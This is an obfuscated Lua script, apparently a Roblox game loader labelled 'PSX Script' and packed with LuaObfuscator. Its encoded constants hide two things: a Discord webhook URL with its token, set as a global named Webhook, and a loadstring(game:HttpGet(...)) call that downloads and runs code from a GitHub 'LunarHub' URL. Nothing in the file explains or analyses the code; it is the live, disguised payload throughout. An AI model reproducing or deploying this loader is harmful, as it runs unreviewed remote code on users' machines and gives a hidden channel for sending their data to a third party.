--[[
 .____                  ________ ___.    _____                           __                
 |    |    __ _______   \_____  \\_ |___/ ____\_ __  ______ ____ _____ _/  |_  ___________ 
 |    |   |  |  \__  \   /   |   \| __ \   __\  |  \/  ___// ___\\__  \\   __\/  _ \_  __ \
 |    |___|  |  // __ \_/    |    \ \_\ \  | |  |  /\___ \\  \___ / __ \|  | (  <_> )  | \/
 |_______ \____/(____  /\_______  /___  /__| |____//____  >\___  >____  /__|  \____/|__|   
         \/          \/         \/    \/                \/     \/     \/                   
          \_Welcome to LuaObfuscator.com   (Alpha 0.2.5) ~  Much Love, Ferib 

]]--

do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v20)if (v1(v20,2)==79) then local v74=0;while true do if (v74==0) then v19=v0(v3(v20,1,1));return "";end end else local v75=v2(v0(v20,16));if v19 then local v83=0;local v84;while true do if (v83==1) then return v84;end if (v83==0) then v84=v5(v75,v19);v19=nil;v83=1;end end else return v75;end end end);local function v21(v22,v23,v24)if v24 then local v76=0 -0 ;local v77;while true do if ((0 -0)==v76) then v77=(v22/((7 -5)^(v23-(1 + 0))))%(((18 -14) -2)^(((v24-((683 -(535 + 147)) + 0)) -(v23-(536 -(338 + 197)))) + 1 + 0)) ;return v77-(v77%(2 -(54 -(22 + 31)))) ;end end else local v78=0;local v79;while true do if (v78==(1664 -(1271 + 393))) then v79=2^(v23-(3 -2)) ;return (((v22%(v79 + v79))>=v79) and (1 -0)) or (0 -0) ;end end end end local function v25()local v38=445 -(130 + 57 + 258) ;local v39;while true do if (v38==(1177 -(606 + 571))) then v39=v1(v16,v18,v18);v18=v18 + 1 + 0 ;v38=1 -0 ;end if (v38==((1629 -(1004 + 624)) + 0)) then return v39;end end end local function v26()local v40=0 -0 ;local v41;local v42;while true do if (v40==(2 -1)) then return (v42 * (512 -(130 + 126))) + v41 ;end if (v40==((31 + 910) -(584 + 357))) then v41,v42=v1(v16,v18,v18 + ((1379 -832) -(323 + 222)) );v18=v18 + (5 -3) ;v40=2 -1 ;end end end local function v27()local v43,v44,v45,v46=v1(v16,v18,v18 + ((3476 -1771) -(746 + 956)) );v18=v18 + (14 -10) ;return (v46 * 16777216) + (v45 * (85331 -19795)) + (v44 * (1031 -(742 + 33))) + v43 ;end local function v28()local v47=0 -0 ;local v48;local v49;local v50;local v51;local v52;local v53;while true do if (v47==(0 + 0)) then v48=v27();v49=v27();v47=2 -1 ;end if (v47==(2 + 0)) then v52=v21(v49,751 -(214 + 460 + 56) ,263 -(10 + 222) );v53=((v21(v49,1299 -(76 + 1191) )==(1297 -((1002 -390) + 684))) and  -(1 + 0)) or (626 -(424 + (587 -386))) ;v47=3;end if (v47==(3 + 0)) then if (v52==((1201 -(14 + 32)) -(489 + 666))) then if (v51==0) then return v53 * (0 + 0) ;else v52=1 -0 ;v50=0 + (358 -(212 + 146)) ;end elseif (v52==(351 + 1696)) then return ((v51==(0 -0)) and (v53 * ((1235 -(1158 + 76))/(0 + 0)))) or (v53 * NaN) ;end return v8(v53,v52-(1763 -(33 + 707)) ) * (v50 + (v51/((489 -(392 + 95))^(42 + 10)))) ;end if (v47==(1328 -(195 + 1132))) then v50=1 + 0 ;v51=(v21(v49,1,512 -(300 + 192) ) * (2^(30 + 2))) + v48 ;v47=2;end end end local function v29(v30)local v54=604 -(250 + 354) ;local v55;local v56;while true do if (v54==(0 + 0)) then v55=nil;if  not v30 then v30=v27();if (v30==(0 -0)) then return "";end end v54=(86 + 251) -(69 + 267) ;end if (v54==(3 + 0)) then return v6(v56);end if (v54==(1 + 0)) then v55=v3(v16,v18,(v18 + v30) -(1 -0) );v18=v18 + v30 ;v54=5 -3 ;end if (v54==((2497 -(142 + 1795)) -((579 -218) + 197))) then v56={};for v85=161 -(36 + 124) , #v55 do v56[v85]=v2(v1(v3(v55,v85,v85)));end v54=876 -(291 + 582) ;end end end local v31=v27;local function v32(...)return {...},v12("#",...);end local function v33()local v57=0 + 0 ;local v58;local v59;local v60;local v61;local v62;local v63;local v64;while true do if (v57~=(3 -1)) then else local v80=0 + 0 ;while true do if (v80~=1) then else v57=3;break;end if (v80==0) then v62=nil;v63=nil;v80=1;end end end if (v57==1) then local v81=611 -(561 + 50) ;while true do if (v81~=(1507 -(215 + 1291))) then else v57=2;break;end if (v81==0) then v60=nil;v61=nil;v81=1 + 0 ;end end end if (v57~=(328 -(261 + 64))) then else v64=nil;while true do local v87=0 + 0 ;while true do if (v87~=(1871 -(247 + 1624))) then else if (v58~=0) then else local v106=0 -0 ;while true do if (v106==(3 -2)) then v61={};v58=1 -0 ;break;end if (v106==(1332 -(551 + 781))) then local v111=0;while true do if (v111~=(0 -0)) then else v59={};v60={};v111=320 -(183 + 136) ;end if (v111==(2 -1)) then v106=731 -(241 + 489) ;break;end end end end end if (v58==2) then local v107=0 -0 ;while true do if (v107~=0) then else for v114=3 -2 ,v63 do local v115=0;local v116;local v117;local v118;local v119;while true do if ((2 + 0)~=v115) then else while true do if (v116~=1) then else v119=nil;while true do if (1==v117) then if (v118==(2 -1)) then v119=v25()~=(559 -(203 + 356)) ;elseif (v118==(4 -2)) then v119=v28();elseif (v118~=3) then else v119=v29();end v64[v114]=v119;break;end if (v117~=(0 -0)) then else v118=v25();v119=nil;v117=1;end end break;end if (v116==0) then v117=0;v118=nil;v116=1;end end break;end if (v115==0) then v116=0;v117=nil;v115=1;end if (v115~=1) then else v118=nil;v119=nil;v115=2;end end end v62[7 -4 ]=v25();v107=1763 -(1641 + 121) ;end if (1==v107) then for v120=1,v27() do local v121=0;local v122;local v123;local v124;while true do if (v121==(3 -2)) then v124=nil;while true do if (v122==0) then local v138=0;local v139;while true do if (v138~=(0 -0)) then else v139=0 + 0 ;while true do if (v139~=(671 -(622 + 48))) then else v122=1;break;end if (v139==0) then local v170=0;while true do if (v170~=(1060 -(225 + 834))) then else v139=1;break;end if ((0 -0)~=v170) then else v123=0 + 0 ;v124=nil;v170=1;end end end end break;end end end if (1==v122) then while true do if (v123~=0) then else v124=v25();if (v21(v124,1,3 -2 )==0) then local v163=0 -0 ;local v164;local v165;local v166;local v167;while true do if (v163~=2) then else while true do if ((256 -(181 + 73))==v164) then local v179=0;local v180;while true do if (v179~=(0 -0)) then else v180=0;while true do if (v180~=1) then else v164=3;break;end if (0==v180) then if (v21(v166,1 + 0 ,1072 -(735 + 336) )~=1) then else v167[2 -0 ]=v64[v167[2]];end if (v21(v166,4 -2 ,2)==(1781 -(1343 + 437))) then v167[7 -4 ]=v64[v167[1 + 2 ]];end v180=1;end end break;end end end if (v164~=(1 -0)) then else local v181=0 + 0 ;local v182;while true do if (v181~=(574 -(60 + 514))) then else v182=0 -0 ;while true do if (v182==0) then v167={v26(),v26(),nil,nil};if (v165==(70 -(13 + 57))) then local v193=0 + 0 ;local v194;local v195;local v196;while true do if (v193==(0 -0)) then v194=0 -0 ;v195=nil;v193=1045 -(426 + 618) ;end if (v193~=1) then else v196=nil;while true do if (0~=v194) then else local v199=0;while true do if (v199==(0 + 0)) then v195=971 -(442 + 529) ;v196=nil;v199=1;end if (v199~=1) then else v194=1;break;end end end if (v194==(19 -(11 + 7))) then while true do if ((0 + 0)==v195) then v196=1494 -(428 + 1066) ;while true do if (v196~=(0 -0)) then else v167[3]=v26();v167[4]=v26();break;end end break;end end break;end end break;end end elseif (v165==(1 + 0)) then v167[3]=v27();elseif (v165==(5 -3)) then v167[3]=v27() -(2^(16 + 0)) ;elseif (v165~=3) then else local v200=0 -0 ;local v201;local v202;while true do if (v200~=1) then else while true do if ((0 -0)==v201) then v202=1086 -(741 + 345) ;while true do if (v202~=0) then else v167[3]=v27() -(2^(219 -(117 + 86))) ;v167[4]=v26();break;end end break;end end break;end if (v200==(509 -(9 + 500))) then v201=0 + 0 ;v202=nil;v200=1 + 0 ;end end end v182=3 -2 ;end if (v182==(1801 -(1104 + 696))) then v164=2;break;end end break;end end end if (v164==0) then local v183=0;while true do if (v183~=1) then else v164=1;break;end if (v183==(1474 -(900 + 574))) then v165=v21(v124,7 -5 ,3);v166=v21(v124,4,19 -13 );v183=1;end end end if (v164~=(3 + 0)) then else if (v21(v166,2 + 1 ,3)==1) then v167[10 -6 ]=v64[v167[9 -5 ]];end v59[v120]=v167;break;end end break;end if (v163==0) then local v174=0 + 0 ;while true do if (v174==0) then v164=0;v165=nil;v174=2 -1 ;end if (v174~=(110 -(14 + 95))) then else v163=732 -(95 + 636) ;break;end end end if (v163~=(1 -0)) then else local v175=0 -0 ;while true do if (v175==0) then v166=nil;v167=nil;v175=1;end if ((1571 -(1157 + 413))~=v175) then else v163=987 -(680 + 305) ;break;end end end end end break;end end break;end end break;end if (v121~=0) then else local v126=0;while true do if (v126==1) then v121=1213 -(319 + 893) ;break;end if (v126~=(0 + 0)) then else v122=0 + 0 ;v123=nil;v126=1;end end end end end v58=3;break;end end end v87=1;end if (v87==(1 + 0)) then if (1==v58) then local v108=0 + 0 ;while true do if (v108==(1 + 0)) then v64={};v58=888 -(201 + 685) ;break;end if ((54 -(5 + 49))==v108) then v62={v59,v60,nil,v61};v63=v27();v108=3 -2 ;end end end if ((1984 -(295 + 1686))~=v58) then else local v109=0;while true do local v110=0 -0 ;while true do if (v110~=0) then else if (v109~=(1 -0)) then else return v62;end if (v109==(0 + 0)) then for v127=1 + 0 ,v27() do v60[v127-1 ]=v33();end for v129=1,v27() do v61[v129]=v27();end v109=1 + 0 ;end break;end end end end break;end end end break;end if (v57~=0) then else local v82=0;while true do if (1~=v82) then else v57=1;break;end if ((0 -0)~=v82) then else v58=0;v59=nil;v82=1;end end end end end local function v34(v35,v36,v37)local v65=v35[1];local v66=v35[2];local v67=v35[3];return function(...)local v68=0;local v69;local v70;local v71;local v72;local v73;while true do if (3==v68) then A,B=v32(v11(v73));if  not A[1] then local v98=v35[4][v69] or "?" ;error("Script error at ["   .. v98   .. "]:"   .. A[2] );else return v13(A,2,B);end break;end if (v68==1) then v71={...};v72=v12("#",...) -1 ;v68=2;end if (v68==0) then v69=1;v70= -1;v68=1;end if (v68==2) then v73=nil;v73=function()local v88=v65;local v89=v66;local v90=v67;local v91=v32;local v92={};local v93={};local v94={};for v99=1185 -(566 + (1595 -(324 + 652))) ,v72 do if ((v99>=v90) or (332<=266)) then v92[v99-v90 ]=v71[v99 + (1112 -(198 + 913)) ];else v94[v99]=v71[v99 + 1 + 0 ];end end local v95=(v72-v90) + 1 ;local v96;local v97;while true do local v100=0 + 0 ;local v101;while true do if (((3844 -(723 + (1535 -(965 + 489))))<(5333 -(1103 + 63))) and (v100==0)) then v101=0 + 0 ;while true do if ((3987>=(9793 -5960)) and ((1971 -((2311 -(58 + 419)) + 136))==v101)) then if (((3502 -(803 + 295))<(7953 -5165)) and (v97<=(8 -4))) then if ((v97<=1) or (((3544 -1670) -(25 + 217 + 140))>((3958 -(485 + 614)) + 1238))) then if (((1027 -(313 + (649 -173)))<=(2146 + 2540)) and (v97==(1285 -(78 + 1207)))) then for v140=v96[2],v96[3 + 0 ] do v94[v140]=nil;end elseif (((11809 -9369)<=(6606 -3174)) and (v94[v96[1900 -(653 + 1245) ]]==v96[13 -9 ])) then v69=v69 + (3 -2) ;else v69=v96[1842 -(730 + 1109) ];end elseif ((v97<=(791 -(510 + 279))) or ((2 + 2)==(1337 + 1355))) then v94[v96[1259 -(256 + 1001) ]]();elseif (((6757 -(376 + 1396))==4985) and (v97==(6 -3))) then do return;end else local v143=0;local v144;local v145;while true do if ((v143==(0 + 0)) or ((1602 + 677)>(5483 -((2546 -1561) + 834)))) then local v162=(706 -(298 + 408)) -0 ;while true do if ((1==v162) or ((2722 -(1910 -(62 + 754)))>3290)) then v143=1 + 0 ;break;end if (((2852 -(329 + 176))<(4797 -(30 + 214))) and (v162==(0 -0))) then v144=0 + 0 ;v145=nil;v162=1065 -(10 + 1054) ;end end end if (((1517 + (1900 -(539 + 541)))<=4814) and (v143==(1419 -(712 + 706)))) then while true do if ((v144==(0 + 0)) or ((12297 -9021)<=(2131 -1001))) then v145=v96[1718 -(282 + 1434) ];v94[v145]=v94[v145](v13(v94,v145 + 1 + 0 ,v70));break;end end break;end end end elseif ((v97<=(4 + 3)) or ((2627 -(16 + (1410 -772)))>(6860 -4801))) then if ((1558<(5566 -(1016 + 355))) and (v97<=((1332 -(195 + 466)) -(133 + 533)))) then local v131=977 -(519 + 458) ;local v132;local v133;while true do if ((1604==(5508 -3904)) and (v131==(3 -2))) then v94[v132 + 1 ]=v133;v94[v132]=v133[v96[4]];break;end if (((40 + 123)<(301 + 175)) and (v131==(1149 -(937 + 212)))) then local v160=0 -0 ;while true do if ((v160==((1506 + 280) -(1088 + (1747 -1049)))) or ((992 -238)>=(1842 + 48))) then v132=v96[2 -0 ];v133=v94[v96[3]];v160=(5 -3) -1 ;end if ((v160==((1 -0) + 0)) or ((1090 -517)>(6171 -3516))) then v131=4 -(3 + 0) ;break;end end end end elseif ((v97>6) or (87>4304)) then v94[v96[(2 + 2) -2 ]]=v96[597 -(80 + 514) ];else v94[v96[1127 -(293 + 832) ]][v96[3 + 0 ]]=v96[540 -(333 + (336 -133)) ];end elseif ((v97<=(4 + 3 + 1)) or ((1088 + 93 + (4977 -1896))<(1539 -690))) then v94[v96[640 -(106 + (797 -265)) ]]=v37[v96[1 + 1 + 1 ]];elseif ((v97>(6 + 3)) or (1192>=2544)) then local v150=0;local v151;local v152;local v153;local v154;local v155;while true do if ((v150==((372 + 684) -(578 + 476))) or ((4141 -2718)>=(19928 -15921))) then v155=nil;while true do if ((v151==1) or ((9880 -6464)<=(2506 -((2384 -1705) + 1266)))) then v70=(v154 + v152) -1 ;v155=1463 -(1388 + 75) ;v151=2 + 0 ;end if (((2761 -(448 + 555))<=(18026 -13743)) and (v151==(1096 -(979 + 115)))) then for v176=v152,v70 do local v177=482 -(128 + (791 -437)) ;local v178;while true do if ((v177==(0 + 0)) or ((2646 -(1476 + 455))>=(3739 -(1665 + 283)))) then v178=0 -0 ;while true do if ((v178==(1278 -(1125 + 153))) or ((4773 -(290 + (3271 -1995)))>3961)) then v155=v155 + (1989 -((2135 -(180 + 303)) + 336)) ;v94[v176]=v153[v155];break;end end break;end end end break;end if ((v151==(0 + 0)) or ((4325 -(371 + 120))<=301)) then v152=v96[2 + 0 ];v153,v154=v91(v94[v152](v13(v94,v152 + 1 + 0 ,v96[3 + 0 ])));v151=1 + 0 + 0 ;end end break;end if ((v150==(2 -(1 -0))) or ((1334 + 104)>1678)) then v153=nil;v154=nil;v150=2;end if (((866 + 1219 + 443)==(646 + 1882)) and (v150==(661 -(238 + 179 + 244)))) then v151=0 -0 ;v152=nil;v150=713 -(571 + 141) ;end end else v69=v96[3 + 0 ];end v69=v69 + (459 -(10 + 448)) ;break;end if ((v101==(605 -(56 + 354 + 195))) or (3798==(4854 -(35 + 1543)))) then local v113=1752 -(257 + 1495) ;while true do if ((4433>=(2242 + 1370)) and (v113==1)) then v101=1;break;end if (((885 + 1893 + 205)<=(4391 -(109 + 1154))) and (v113==0)) then local v125=1389 -(1384 + 5) ;while true do if ((((2829 -(422 + 445)) -((2127 -1639) + 1474))==v125) or ((3691 -2302)>(6856 -3909))) then v96=v88[v69];v97=v96[(3427 -2298) -(553 + 575) ];v125=1 -0 ;end if (((2633 -(306 + 647))<=(1043 + 3419)) and (v125==(254 -(33 + 220)))) then v113=70 -(12 + 57) ;break;end end end end end end break;end end end end;v68=3;end end end;end return v34(v33(),{},v17)(...);end v15("LOL!0D3O00028O00026O00F03F03023O005F4703073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F3130383637343835303438342O3932303132312F685F437A327936716C665776534852536856427A754E364230794561434B39347050594A564156504370794F7245685A2D387A4D4878634A5344686974415F554B55545A030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403453O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F76656C7665746F6B2F4C756E61724875622F6D61696E2F4C756E61724875624D61696E03083O00557365726E616D6503123O00686168616C6F6C31323334356C6F6C313233030A3O005363726970744E616D65030D3O00505358205363726970743O2E00243O0012073O00016O000100013O0026013O0002000100010004093O00020001001207000100013O00260100010011000100020004093O00110001001208000200033O003006000200040005001208000200063O001208000300073O002005000300030008001207000500094O000A000300054O000400023O00022O00020002000100010004093O0023000100260100010005000100010004093O00050001001207000200013O0026010002001B000100010004093O001B0001001208000300033O0030060003000A000B001208000300033O0030060003000C000D001207000200023O00260100020014000100020004093O00140001001207000100023O0004093O000500010004093O001400010004093O000500010004093O002300010004093O000200012O00033O00017O00243O00023O00033O00053O00053O00063O00083O00083O00093O00093O000A3O000A3O000A3O000A3O000A3O000A3O000A3O000B3O000D3O000D3O000E3O00103O00103O00113O00113O00123O00123O00133O00153O00153O00163O00173O00183O001A3O001C3O001D3O001F3O00",v9(),...);end